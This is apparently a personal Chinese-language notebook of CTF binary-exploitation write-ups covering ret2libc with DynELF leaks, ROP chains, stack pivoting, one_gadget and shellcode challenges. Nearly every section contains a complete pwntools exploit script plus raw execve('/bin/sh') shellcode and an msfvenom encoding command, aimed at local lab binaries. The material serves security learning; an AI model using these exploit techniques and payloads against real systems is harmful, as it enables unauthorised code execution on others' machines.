Linux Pwn利用漏洞获取libc

1、 PlaidCTF 2013 ropasaurusrex

该题没有通过system、int 80 syscall,也没有提供libc库,同时开启了nx保护。但是该题提供了read函数和write函数,且read函数有栈溢出,write函数可以打印任意地址,因此可以利用DynELF来解决。

from pwn import *
io = remote('172.17.0.2', 10001)
elf = ELF('./ropasaurusrex')
start_addr = 0x08048340
write_addr = elf.symbols['write']
binsh_addr = 0x08049000

def leak(addr):
	payload = ''
	payload += 'A'*140			
	payload += p32(write_addr)	#调用write
	payload += p32(start_addr)	#write返回到start
	payload += p32(1)		#write第一个参数fd
	payload += p32(addr)		#write第二个参数buf
	payload += p32(8)		#write第三个参数size
	io.sendline(payload)
	content = io.recv()[:8]
	#print("%#x -> %s" %(addr, (content or '').encode('hex')))
	return content

d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
read_addr = d.lookup('read', 'libc')

log.info("system_addr = %#x", system_addr)
log.info("read_addr = %#x", read_addr)
pay='a'*0x8c+p32(read_addr)+p32(system_addr)+p32(0)+p32(binsh_addr)+p32(8)
io.send(pay)
io.sendline('/bin/sh')
io.interactive()
2、 LCTF2016-pwn100

之前该题已经做过一遍了,但是当时提供了libc库,现在则借助DynELF来获取system在内存的地址。和1题不同之处在于这次的leak函数倚靠的puts函数打印内存地址,由于puts函数遇到\x00则就停止,所以在处理上要采用别的技巧

from pwn import*
io = remote('172.17.0.2', 10001)
elf = ELF("./pwn100")
puts = elf.symbols['puts']
start = 0x400550
poprdi = 0x400763
poprbx=0x40075a
binsh=0x60107c
read=elf.got['read']
def leak(addr):
	up=''
	content=''
	pay='A'*72
	pay+=p64(poprdi)
	pay+=p64(addr)
	pay+=p64(puts)
	pay+=p64(start)
	pay=pay.ljust(200,'A')
	io.send(pay)
	io.recvuntil("bye~\n")
	while True:
		c=io.recv(numb=1, timeout=0.1)
		if up == '\n' and c == "":
			content=content[:-1]+'\x00'
			break
		else:
			content+=c
			up=c
	return content[:4]

d=DynELF(leak,elf=elf)
system_addr=d.lookup('system','libc')
pay='b'*72+p64(poprbx)+p64(0)+p64(1)+p64(read)+p64(8)+p64(binsh)+p64(0)
pay=pay+p64(0x400740)+'\x00'*56+p64(start)
io.send(pay)
sleep(0.1)
io.send("/bin/sh\x00")
pay='b'*72+p64(poprdi)+p64(binsh)+p64(system_addr)
pay=pay.ljust(200,'b')
io.send(pay)
io.interactive()

Linux pwn栈帧调整技巧

1、 Alictf 2016-vss

该题还是用rop来执行sys_execv。然而在调试过程中发现需要调整栈帧,所以需要找一个能调整栈帧的gadget,

在padding后面不能直接跟ROPgadget,只能跟add rsp,0x58
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
print io.recv()
addesp=0x46f205	#0x000000000046f205 : add rsp, 0x58 ; ret
poprdx=0x43ae29	#0x000000000043ae29 : pop rdx ; pop rsi ; ret
poprdi=0x401823	#0x0000000000401823 : pop rdi ; ret
sysread=0x437ea9
poprax=0x46f208	#0x000000000046f208 : pop rax ; ret
syscall=0x45f2a5	#0x000000000045f2a5 : syscall ; ret
pay='py'
pay=pay.ljust(0x48,'a')+p64(addesp)
pay+='a'*8
pay+=p64(poprdx)
pay+=p64(8)	#rdx
pay+=p64(0x6c5cb0) #/bin/sh\x00 rsi
pay+=p64(poprdi)
pay+=p64(0)
pay+=p64(sysread)
pay+=p64(poprdx)
pay+=p64(0)
pay+=p64(0)
pay+=p64(poprdi)
pay+=p64(0x6c5cb0)
pay+=p64(poprax)
pay+=p64(0x3b)
pay+=p64(syscall)
io.send(pay)
sleep(0.5)
io.send('/bin/sh\x00')
io.interactive()
2、pwnable.kr-login

程序里面有一个memcpy的栈溢出,但是只能覆盖到ebp,还提供了一个可供利用的位于0x0811eb40的全局变量input,考虑利用两次leave;retn来劫持栈并最终劫持eip。

  • 在auth函数退出时,劫持ebp到input所在的.bss段,即0x0811eb40;
  • 在main函数退出时,由于leave指令的作用esp会指向0x811eb44,然后retn指令会跳转到内存地址为0x811eb44处执行call system

auth函数的栈
#!/bin/bash/python
from pwn import*
from base64 import*
context.update(arch = 'i386', os = 'linux', timeout = 1)    
io = remote('172.17.0.2', 10001)
callsystem=0x08049284
pay="aaaa"
pay+=p32(callsystem)
pay+=p32(0x0811eb40)	#input
io.sendline(b64encode(pay))
io.interactive()
3、Ice ctf 2016 so_close

程序很简洁,read函数向长度为268个字节的缓冲区buf中读入272个字节,还有4字节溢出,和上题一样考虑利用两次leave来劫持栈。但是和上题不同的地方是,这次无法将栈劫持到一个精确的位置,只能通过将末位字节修改为0(地址变小了)对地址进行微调,尽可能把栈劫持到buf所在的位置,然后利用其他技巧跳转到shellcode。

from pwn import*
context.update(arch = 'i386', os = 'linux', timeout = 1)    
io = remote('172.17.0.2', 10001)
pay=p32(0x080484b5)*55+p32(0x0804859f)+asm(shellcraft.i386.linux.sh())
#0x080484b5 is retn, 0x0804859f is 'jmp esp'
io.send(pay+'\x00')
io.interactive()

问题在于有时候无法将栈劫持到适当的地方,因此该shellcode不能保证一次性成功,只能多试几次。

rop技术

1、RedHat 2017 pwn1

程序功能是scanf一个字符串再打印出来

checksec pwn1,发现程序开了nx保护,于是采用rop

IDA ctrl+s找到.got.plt表,表格中有的system和scanf可以利用

.got.plt表

另外还得找一段可读可写的地址空间写入”/bin/sh”,CTRL+s查看


最终在0x0804A030找到一块0x10字节的空间可以用来存放’/bin/sh’,下面开始pwn这个程序

首先利用scanf函数的栈溢出劫持eip让其在ret时再执行一次scanf函数,并指定第二个scanf函数的两个参数

第一次scanf后的栈

根据上面的栈的分布,即可得到第一段shellcode包含的内容,最后一个scanf函数的地址则是上面找到的0x0804a030,于是第一段exp如下:

io=remote('172.17.0.2',10001)
print io.read()
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)      # %s
binsh_addr = p32(0x0804a030)    # '/bin/sh'保存的地址
main_addr=p32(0x08048531)       #scanf结束后还跳转到main 
shellcode1 = 'A'*0x34           #注:此处不是0x2c,而是0x34        
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s 
shellcode1 += binsh_addr
io.sendline(shellcode1)

第一次scanf时,输入以上代码,程序会再执行一次scanf,此时输入’/bin/sh’

io.sendline('/bin/sh')

如此,数据区多了’/bin/sh’,并且程序会跳到main继续执行,当执行到scanf的时候,我们需要把程序劫持到system函数处,并让’/bin/sh’做system的参数

shellcode2 = 'A'*0x2c           #此处还是0x2c        
shellcode2 += p32(elf.symbols['system'])
shellcode2 += main_addr
shellcode2 += binsh_addr
io.sendline(shellcode2)
io.interactive()

注:两端shellcode中用于填充多余空间的’A’的字符个数不一样,因为程序中有一行and esp, 0FFFFFFF0h,在执行第一次执行main函数时,该行指令总会让esp和ebp之间增加0x8字节,第二次执行main函数时没有增加。

2、 bugs bunny ctf 2017-pwn150

pwn150程序的功能是读取用户输入并追加到txt文件,程序开启了NX保护,考虑采用rop。该程序在today函数中已经调用了system,所以可以把rip劫持到该system函数的位置。system函数的参数”sh”可以从程序中搜索,通过alt+B搜索”73 68″即可,注意”sh”后面是0x00(或者其他字符串结束的标志)。

“sh”的位置
call system的位置

32位程序直接把函数参数按照从左向右顺序压栈,该程序是64位程序,函数参数从左向右依次放在 rdi, rsi, rdx, rcx, r8, r9,所以要设法把”sh”存到rdi。解决方案是先通过劫持rip去执行pop rdi;ret(pop以后”sh”正好在栈顶),然后再跳转去执行system函数。pop rdi;ret可以用ROPgadget搜索。

ROPgadget --binary pwn150 | grep 'pop rdi'
from pwn import *
io = remote('172.17.0.2', 10001)
pay='a'*88
pop_rdi=0x400883
sh=0x4003ef
call_sys=0x40075f
pay+=p64(pop_rdi)
pay+=p64(sh)
pay+=p64(call_sys)
io.sendline(pay)
io.recv()
io.interactive()
3、 Tamu CTF 2018-pwn5

pwn5的程序主体位于print_beginning,在这个程序中可以输入姓名和专业,输入完毕后有一个选择,输入y会进入first_day_corps函数,输入n会进入first_day_normal函数。这两个函数最后都会进入一个有1234选项的状态,输入2就可以修改之前输入的major,而change_major函数用gets获取输入,大概率这个 gets就是溢出点。(一开始直接alt+T直接搜gets也行)。

change_major

该程序中不含system函数,可以尝试搜索int 0x80,通过sys_execve获取shell

ROPgadget --binary pwn5 | grep "int 0x80"

int 0x80的参数eax=0xb,ebx=”/bin/sh”,ecx=edx=edi=0。用ROPgadget来搜索是否有pop eax; pop ebx;pop edx; pop ecx; pop edi存在。其中ebx可以指向全局变量的地址(前面的输入的姓名)。下图是ROPgadget搜索结果,

ROPgadget --binary pwn5 | grep "pop eax ; pop ebx ;"

注意选择第一条0x08095ff4,因为第二条0x080a150a中的0xa代表回车
ROPgadget --binary pwn5 | grep "pop edx ; pop ecx ;"
from pwn import *
io = remote('172.17.0.2', 10001)
io.sendline('/bin/sh')  #first name
io.sendline('a')        #last name
io.sendline('a')        #major
io.sendline('y')
io.sendline('2')
first_name_addr=0x080f1a20
int_addr=0x08071005     #int 0x80 addr
payload='A'*32
payload+=p32(0x080733b0)        #pop edx ; pop ecx ; pop ebx ; ret
payload+=p32(0)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0x08095ff4)        #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret
payload+=p32(0xb)
payload+=p32(first_name_addr)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0)
payload+=p32(int_addr)
io.sendline(payload)
io.interactive()
4、Security Fest CTF 2016-tvstation

在运行tvstation程序时输入4会打印出system函数在内存真正的地址,因此可以劫持rip去执行system函数。tvstation提供了pop rid;ret这一rop链(可以通过ROPgadget搜到)但没有提供/bin/sh字符串。由于程序提供了libc.so,可以考虑在该动态库中搜索/bin/sh。先查看一些libc.so文件。

readelf -a libc.so.6_x64

在symbol table中可以找到system函数的相对地址

system在symbol table中的位置

由程序打印出的system函数的虚拟地址以及system的相对地址可以计算出libc.so在内存的起始地址,通过IDA可以搜索到/bin/sh在libc.so中的地址,这个地址加上libc.so的起始地址就是/bin/sh在内存的虚拟地址。

from pwn import *
io = remote('172.17.0.2', 10001)
io.recv()
io.sendline('4')
io.recvuntil('@0x')
sys_addr=int(io.recv(12),16)
offset_addr=0x00000000000456a0	#system offset
bin_sh=0x000000000018AC40	#/bin/sh
pop_rdi=0x0000000000400c13	#pop rdi;ret
head_addr=sys_addr-offset_addr
payload='a'*0x28
payload+=p64(pop_rdi)
payload+=p64(head_addr+bin_sh)
payload+=p64(sys_addr)
io.send(payload)
io.interactive()
5、LCTF 2016-pwn100

如果动态库中不包含/bin/sh字符串怎么办?假设该题提供的libc.so文件不包含/bin/sh,因为程序中提供了read函数,考虑用read来读取/bin/sh。该题利用了了一种通用gadget,位于init(或者叫__libc_csu_init )

r12用来保存任意函数地址,rbx=0,rbp=1,r15、r14、r13用来保存函数的参数
  • 调用puts函数打印read函数的虚拟地址
  • 根据read的地址计算system的虚拟地址
  • 执行read,采用通用gadget保存read函数的参数,将/bin/sh字符串保存在某个位置
  • 劫持rip执行system函数
io = remote('172.17.0.2', 10001)
elf=ELF('./pwn100')
read_got=elf.got['read']
puts_addr=elf.plt['puts']
sys_in_lib=0x456a0
read_in_lib=0xf8880
start_ad=0x400550
pop_rdi=0x400763
payload='a'*72
gadget1=0x40075a
gadget2=0x400740
binsh_ad=0x601068		#any addr in extern section is ok
payload+=p64(pop_rdi)
payload+=p64(read_got)
payload+=p64(puts_addr)
payload+=p64(start_ad)
payload=payload.ljust(200,'a')
io.send(payload)
io.recvuntil('bye~\n')
read_va=u64(io.recv()[:-1].ljust(8,'\x00'))
lib_load_ad=read_va-read_in_lib
sys_va=lib_load_ad+sys_in_lib

payload='a'*72
payload+=p64(gadget1)
payload+=p64(0)	#rbx
payload+=p64(1)	#rbp
payload+=p64(read_got)	#r12, here is read_got not read_va!
payload+=p64(8)	#r13
payload+=p64(binsh_ad)	#r14
payload+=p64(0)	#r15	stdin
payload+=p64(gadget2)
payload+='\x00'*56
payload+=p64(start_ad)
payload=payload.ljust(200,'a')
io.send(payload)
io.recv()
io.send('/bin/sh\x00')

payload='a'*72
payload+=p64(pop_rdi)
payload+=p64(binsh_ad)
payload+=p64(sys_va)
payload=payload.ljust(200,'a')
io.send(payload)
io.interactive()

这题几个坑注意一下

1、在gadget2后面不能直接跟ret的地址,因为gadget2执行完以后还要向后执行直到init函数结束(看汇编程序结构就能理解),所以需要在后面补上56个0x00;

2、gadget2中的call指令是call    qword ptr [r12+rbx*8],用的是直接寻址不是立即寻址,所以r12保存的是read在got表中的地址。由此也可看出 函数寻址的过程是plt->got.plt->virtual address;

3、/bin/sh保存的位置是extern节,这个extern节是什么?Stack Overflow上有人解释这是一个pseudo segment(伪段),用来声明一些从外部库引入的API。实际调试过程中发现这个位置的数据都是0,因此把数据保存在这里不影响程序的运行。

6、TJCTF 2016 ONESHOT

利用one_gadget在libc库找到可以利用的gadget即可。

#!/bin/bash
from pwn import *
elf=ELF('./oneshot')
io = remote('172.17.0.2', 10001)
print io.recv()
io.sendline(str(elf.got['setbuf']))
io.recvuntil('Value: ')
setbuf_va=int(io.recv()[:18],16)
#0x77f50 is setbuf offset, 0x45526 is execve offset
gadget_va=setbuf_va-0x77f50+0x45526
io.sendline(str(gadget_va))
io.interactive()

总结一下,该章节介绍了利用rop获取shell,利用rop必须要找一个gadget,可以在程序自身找,如上文提到通用gadget:__libc_csu_init,或者从libc库中找,可以借助ROPgadget、one_gadget工具找,视具体情况而定。

shellcode入门练习

reference:https://bbs.ichunqiu.com/thread-42285-1-1.html

以下习题来自i春秋的学习资源

1、tyro_shellcode1

运行程序,输出一个mmp内存地址,然后等待用户输入。看源码知道是用read函数接受用户输入并把输入的东西作为函数执行

程序代码部分截图

于是输入shellcode到v4然后让程序执行即可获取shell然后再拿到flag,由于代码中read的长度是0x20个字节,所以shellcode长度不能超过32。

shellcode='\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
shellcode在程序中被执行

2、b_64_b_tuff

阅读代码,知道程序会对用户输入进行base64编码,然后再执行,也就是我们输入的必须是shellcode解码后的内容,但是能被base64解码的只能是0-9,a-z,A-Z,+/=,因此需要对shellcode进行编码使其可被base64解码

python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux  

payload文件的内容:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIdqiYkGkQx0FkBqu8toToRSsX0hToSRSYBNMYJChMopAA

exp如下

from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
shellcode=b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode)
io.interactive()

3、pilot

运行程序,提供了一个地址,阅读代码知道这个地址是buf的地址,程序通过read把输入存到buf里面,read限制接收0x40个字节

代码部分截图

buf的起止地址和栈中保存的rbp相差0x20个字节,和rip差0x28个字节

所以本题可以通过栈溢出劫持rip到我们的shellcode,shellcode所在的地址(即buf的地址)已经被输出

io = remote('172.17.0.2', 10001)
io.recvuntil("Location:")
address = int(io.recv()[0:14], 16)
shellcode='\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
exp=shellcode+'\x90'*(0x28-len(shellcode))+p64(address)
io.sendline(exp)
io.interactive()

注:本题在i春秋的原版文章用的是另外一个shellcode,由于那个shellcode在执行过程中会因为shellcode中的push操作导致shellcode被修改,所以那个shellcode必须截成两端执行。我采用了一个较短的shellcode,规避了这个问题。

4、pwn1

代码很短,只是scanf一个数保存到v4,v4在栈中和rbp相差0x10字节,和rip相差0x18个字节

代码截图

在上题中我的shellcode正好就是是0x18个字节,可以完全覆盖v4到rbp这24字节。shellcode开始执行后,栈中状态如下:

我的shellcode中有一步push操作(见下图push rbx)

shellcode汇编形态

而我的shellcode 和rsp之间刚有一个8字节的空间(上图两个红框之间)可以用来保存这个push,同时shellcode不被篡改

io=remote('172.17.0.2',10001)
address=int(io.recv(),16)
shellcode='\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
io.sendline(shellcode+p64(address))
io.interactive()

注:i春秋的学习资料提供的方法是把shellcode写在rip下面,并把rip劫持到这个位置。

5、apprentice_www

阅读代码可知,程序用v1,v2需要接受用户输入两个数字。v1用来scanf一个地址,并且这个地址的数据可以被用户输入的v2改写

代码部分截图

显示我们想用v2来输入shellcode,但是v2每次只改写一个字节,所以必须设法让程序执行多次scanf,所以第一步就要修改jnz short loc_80485E9,让他跳转到0x0804859D,重复执行scanf

跳转代码截图

jnz的机器码是0x75(地址:0x080485D9),0x0E(地址:0x080485DA)表示向后跳14个字节。要修改jnz的位置,就要修改 0x080485DA 的值,所以v1要输入0x080485DA 。由于我要跳转的位置是0x0804859d

0x0804859d – 0x080485db = 0xc2,所以v2就是0xc2。至此,我就可以循环调用scanf输入shellcode

成功修改

后面输入shellcode的原理与以上类似,我把shellcode放到以0x080485db为起始地址的位置。输完shellcode后,还是让v1输入存0x080485da,v2输入0,此时v1保存的地址没啥实际意义,关键是v2要为0,才能保证程序不会跳到jnz指向的地方而是去执行我的shellcode

from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
patch_jne_address = 0x080485da        #jnz loc_80485E9所在地址
shellcode_address = 0x080485db        #shellcode放置的地址 
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
io.sendline(str(patch_jne_address))
io.sendline(str(0xc2))
for i in xrange(len(shellcode)):
    io.sendline(str(shellcode_address+i))
    io.sendline(str(ord(shellcode[i]))) 
io.sendline(str(patch_jne_address))
io.sendline(str(0x00))
io.recv()
io.interactive()

栈溢出入门练习

pwn学习资源

环境配置:https://bbs.ichunqiu.com/thread-42239-1-1.html

栈溢出基础:https://bbs.ichunqiu.com/thread-42241-1-1.html

以上由i春秋提供,适合新手学习,栈溢出基础这一章后面留了三个习题,做题记录如下。

1、warmup

程序运行,输出了一个地址

ida查看代码,逻辑很简单,输出一个地址,然后gets获取输入

int __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [sp+0h] [bp-80h]@1
char v5; // [sp+40h] [bp-40h]@1
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}

双击sub_40060d,发现0x40060d这个位置的函数是打开flag文件

所以本题目标就是要让程序跳转到这个位置,即设法让eip变成0x40060d。源码中gets是一个溢出点,gets的内容在v5内。在栈中,v5的起始地址和ebp相差0x40个字节,ebp占8字节,跟在ebp后面的是离开main函数时的eip

程序运行的栈

所以只要输入0x40+8个字节+0x40060d,即可修改栈中eip的值

from pwn import*
io=remote('172.17.0.2',10001) #这个IP和port是我本地的docker的IP和port
print io.recv()
payload='a'*72+p64(0x40060d)
io.sendline(payload)
print io.recv()

2、doubly_dangerous

运行程序,提示需要输入字符串。阅读源码,知道题目要求是让v5等于11.28125才能执行give_flag函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+Ch] [bp-4Ch]@1
float v5; // [sp+4Ch] [bp-Ch]@1
v5 = 0.0;
puts("Give me a string: ");
gets(&s);
if ( 11.28125 == v5 )
{
puts("Success! Here is your flag:");
give_flag();
}
else
{
puts("nope!");
}
return 0;
}

v5的值可以借助gets的栈溢出而被覆盖,v5离保存s的起始地址的相距0x40 bytes,所以payload=’a’*0x40+’\x00\x80\x34\xx=41′

3、pwn1

运行程序,提示输入,结合源码可知,用户输入的’I’会被替换成’you’,且源码中提供了一个give_flag。初步设想通过s来劫持eip到give_flag,但是要实现溢出还需要输入额外的64字节,而fgets只读入32字节。所以通过上面把I替换成you的方式,让输入的give_flag的地址后移到eip的位置。

初步设想通过s来劫持eip到give_flag,但是要实现溢出还需要输入额外的64字节,而fgets只读入32字节。所以通过上面把I替换成you的方式,让输入的give_flag的地址后移到eip的位置。

payload='I'*20+'aaaa'+p32(0x08048f0d)

这样在替换以后是’youyou·····youaaaa\x08\x04\x8f\x0d’,正好可以覆盖eip

程序运行的栈实况

4、just_do_it

运行程序,提示需要输入密码,结合代码可知存在fgets存在栈溢出

代码部分截图

密码在代码的数据段可以找到,但即使输入正确的密码也只是返回”correct password·····”。本题的思路是通过栈溢出覆盖v6,把v6的地址改成flag的地址,注意payload不能有正确的密码,那样会导致v6被success_message覆盖

payload='a'*20+p32(0x0804a080)#0x04a080是flag的地址
输入payload后的栈